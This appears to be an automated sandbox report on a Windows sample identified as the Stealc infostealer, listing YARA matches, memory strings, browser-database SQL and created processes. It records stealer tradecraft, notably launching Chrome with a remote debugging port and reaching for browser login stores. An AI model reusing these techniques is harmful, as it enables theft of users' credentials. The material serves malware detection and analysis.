Source: DGIJECGD.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: DGIJECGDGCBKECAKFBGCAKECGI.0.dr	String found in binary or memory: https://www.mozilla.org
Source: glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: DGIJECGDGCBKECAKFBGCAKECGI.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmp, glpEv3POe7.exe, 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: glpEv3POe7.exe, 00000000.00000002.1974489166.00000000006E7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: DGIJECGDGCBKECAKFBGCAKECGI.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: glpEv3POe7.exe, 00000000.00000003.1944007992.0000000009D41000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGCAKECGI.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: DGIJECGDGCBKECAKFBGCAKECGI.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: glpEv3POe7.exe, 00000000.00000003.1944007992.0000000009D41000.00000004.00000020.00020000.00000000.sdmp, DGIJECGDGCBKECAKFBGCAKECGI.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: glpEv3POe7.exe, 00000000.00000002.1974489166.0000000000604000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_00589876 CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,SHGetFolderPathA,lstrcpy,StrStrA,lstrcpyn,lstrlenA,wsprintfA,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop,

0_2_00589876

System Summary

Malicious sample detected (through community Yara rule)

Source: glpEv3POe7.exe, type: SAMPLE	Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io
Source: 0.0.glpEv3POe7.exe.580000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io
Source: 0.2.glpEv3POe7.exe.580000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C47ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C47ED10
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4BB700
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C4BB8C0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C4BB910
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C45F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C45F280

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_005A48D0	0_2_005A48D0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4535A0	0_2_6C4535A0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C465440	0_2_6C465440
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4C545C	0_2_6C4C545C
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4CAC00	0_2_6C4CAC00
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C495C10	0_2_6C495C10
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4A2C10	0_2_6C4A2C10
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4C542B	0_2_6C4C542B
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4664C0	0_2_6C4664C0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C47D4D0	0_2_6C47D4D0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C45D4E0	0_2_6C45D4E0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C496CF0	0_2_6C496CF0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C466C80	0_2_6C466C80
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4B34A0	0_2_6C4B34A0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4BC4A0	0_2_6C4BC4A0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C46FD00	0_2_6C46FD00
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C47ED10	0_2_6C47ED10
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C480512	0_2_6C480512
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C490DD0	0_2_6C490DD0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4B85F0	0_2_6C4B85F0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4A2E4E	0_2_6C4A2E4E
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C474640	0_2_6C474640
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C479E50	0_2_6C479E50
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C493E50	0_2_6C493E50
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4C6E63	0_2_6C4C6E63
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C45C670	0_2_6C45C670
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4A5600	0_2_6C4A5600
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C497E10	0_2_6C497E10
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4B9E30	0_2_6C4B9E30
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4C76E3	0_2_6C4C76E3
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C45BEF0	0_2_6C45BEF0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C46FEF0	0_2_6C46FEF0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4BE680	0_2_6C4BE680
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C475E90	0_2_6C475E90
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4B4EA0	0_2_6C4B4EA0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C469F00	0_2_6C469F00
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C497710	0_2_6C497710
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C45DFE0	0_2_6C45DFE0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C486FF0	0_2_6C486FF0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4A77A0	0_2_6C4A77A0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C478850	0_2_6C478850
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C47D850	0_2_6C47D850
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C49F070	0_2_6C49F070
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C467810	0_2_6C467810
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C49B820	0_2_6C49B820
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4A4820	0_2_6C4A4820
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4C50C7	0_2_6C4C50C7
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C47C0E0	0_2_6C47C0E0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4958E0	0_2_6C4958E0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4860A0	0_2_6C4860A0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C47A940	0_2_6C47A940
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C46D960	0_2_6C46D960
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4AB970	0_2_6C4AB970
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4CB170	0_2_6C4CB170
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C495190	0_2_6C495190
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4B2990	0_2_6C4B2990
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C45C9A0	0_2_6C45C9A0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C48D9B0	0_2_6C48D9B0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C499A60	0_2_6C499A60
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C498AC0	0_2_6C498AC0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C471AF0	0_2_6C471AF0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C49E2F0	0_2_6C49E2F0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4CBA90	0_2_6C4CBA90
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4522A0	0_2_6C4522A0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C484AA0	0_2_6C484AA0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C46CAB0	0_2_6C46CAB0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4C2AB0	0_2_6C4C2AB0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C455340	0_2_6C455340
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C46C370	0_2_6C46C370
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C49D320	0_2_6C49D320
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4C53C8	0_2_6C4C53C8
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C45F380	0_2_6C45F380
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C50AC60	0_2_6C50AC60
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5C6C00	0_2_6C5C6C00
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5DAC30	0_2_6C5DAC30
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C55ECD0	0_2_6C55ECD0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C4FECC0	0_2_6C4FECC0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5CED70	0_2_6C5CED70
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C62AD50	0_2_6C62AD50
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C688D20	0_2_6C688D20
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C68CDC0	0_2_6C68CDC0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C596D90	0_2_6C596D90
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C504DB0	0_2_6C504DB0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C59EE70	0_2_6C59EE70
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5E0E20	0_2_6C5E0E20
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C50AEC0	0_2_6C50AEC0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5A0EC0	0_2_6C5A0EC0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C586E90	0_2_6C586E90
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C56EF40	0_2_6C56EF40
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5C2F70	0_2_6C5C2F70
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C506F10	0_2_6C506F10
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C640F20	0_2_6C640F20
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5DEFF0	0_2_6C5DEFF0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C500FE0	0_2_6C500FE0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C648FB0	0_2_6C648FB0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C50EFB0	0_2_6C50EFB0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5D4840	0_2_6C5D4840
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C550820	0_2_6C550820
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C58A820	0_2_6C58A820
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C6068E0	0_2_6C6068E0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5EC8C0	0_2_6C5EC8C0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C538960	0_2_6C538960
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C556900	0_2_6C556900
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C61C9E0	0_2_6C61C9E0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5349F0	0_2_6C5349F0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5C09B0	0_2_6C5C09B0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5909A0	0_2_6C5909A0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5BA9A0	0_2_6C5BA9A0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C57CA70	0_2_6C57CA70
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5AEA00	0_2_6C5AEA00
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5B8A30	0_2_6C5B8A30
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C57EA80	0_2_6C57EA80
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C606BE0	0_2_6C606BE0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5A0BA0	0_2_6C5A0BA0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C518460	0_2_6C518460
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C58A430	0_2_6C58A430
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C564420	0_2_6C564420
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C5464D0	0_2_6C5464D0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C59A4D0	0_2_6C59A4D0

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: String function: 6C523620 appears 31 times
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: String function: 6C6809D0 appears 121 times
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: String function: 00584980 appears 316 times
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: String function: 6C4994D0 appears 90 times
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: String function: 6C48CBE8 appears 134 times
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: String function: 6C68DAE0 appears 31 times

Source: glpEv3POe7.exe, 00000000.00000002.1980728615.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs glpEv3POe7.exe
Source: glpEv3POe7.exe, 00000000.00000002.1980928497.000000006C6D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs glpEv3POe7.exe

Source: glpEv3POe7.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: glpEv3POe7.exe, type: SAMPLE	Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b
Source: 0.0.glpEv3POe7.exe.580000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b
Source: 0.2.glpEv3POe7.exe.580000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealc_str_oct24 author = Sekoia.io, description = Finds Stealc standalone samples (or dumps) based on the strings, creation_date = 2024-10-20, classification = TLP:CLEAR, version = 1.0, id = 7448fafe-206c-4f9c-b5a3-cbabec12a45b

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@17/32@2/5

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_6C4B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C4B7030

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_005A39F0 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_005A39F0

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Code function: 0_2_0059CBE0 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_0059CBE0

Source: C:\Users\user\Desktop\glpEv3POe7.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\VCH0DN61.htm

Jump to behavior

Source: glpEv3POe7.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: glpEv3POe7.exe, 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, glpEv3POe7.exe, 00000000.00000002.1975206081.0000000003896000.00000004.00000020.00020000.00000000.sdmp, glpEv3POe7.exe, 00000000.00000002.1980549916.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: glpEv3POe7.exe, 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, glpEv3POe7.exe, 00000000.00000002.1975206081.0000000003896000.00000004.00000020.00020000.00000000.sdmp, glpEv3POe7.exe, 00000000.00000002.1980549916.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: glpEv3POe7.exe, 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, glpEv3POe7.exe, 00000000.00000002.1975206081.0000000003896000.00000004.00000020.00020000.00000000.sdmp, glpEv3POe7.exe, 00000000.00000002.1980549916.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: glpEv3POe7.exe, 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, glpEv3POe7.exe, 00000000.00000002.1975206081.0000000003896000.00000004.00000020.00020000.00000000.sdmp, glpEv3POe7.exe, 00000000.00000002.1980549916.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: glpEv3POe7.exe, glpEv3POe7.exe, 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, glpEv3POe7.exe, 00000000.00000002.1975206081.0000000003896000.00000004.00000020.00020000.00000000.sdmp, glpEv3POe7.exe, 00000000.00000002.1980549916.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: glpEv3POe7.exe, 00000000.00000002.1980862824.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, glpEv3POe7.exe, 00000000.00000002.1975206081.0000000003896000.00000004.00000020.00020000.00000000.sdmp, glpEv3POe7.exe, 00000000.00000002.1980549916.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: glpEv3POe7.exe, 00000000.00000002.1975206081.0000000003896000.00000004.00000020.00020000.00000000.sdmp, glpEv3POe7.exe, 00000000.00000002.1980549916.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: glpEv3POe7.exe, 00000000.00000003.1828310267.000000000981B000.00000004.00000020.00020000.00000000.sdmp, GIEHIDHJDBFIIECAKECB.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: glpEv3POe7.exe, 00000000.00000002.1975206081.0000000003896000.00000004.00000020.00020000.00000000.sdmp, glpEv3POe7.exe, 00000000.00000002.1980549916.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: glpEv3POe7.exe, 00000000.00000002.1975206081.0000000003896000.00000004.00000020.00020000.00000000.sdmp, glpEv3POe7.exe, 00000000.00000002.1980549916.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: glpEv3POe7.exe

ReversingLabs: Detection: 63%

Source: unknown	Process created: C:\Users\user\Desktop\glpEv3POe7.exe "C:\Users\user\Desktop\glpEv3POe7.exe"
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2176,i,7037384399253609430,4066803532452001753,262144 /prefetch:8
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2176,i,7037384399253609430,4066803532452001753,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
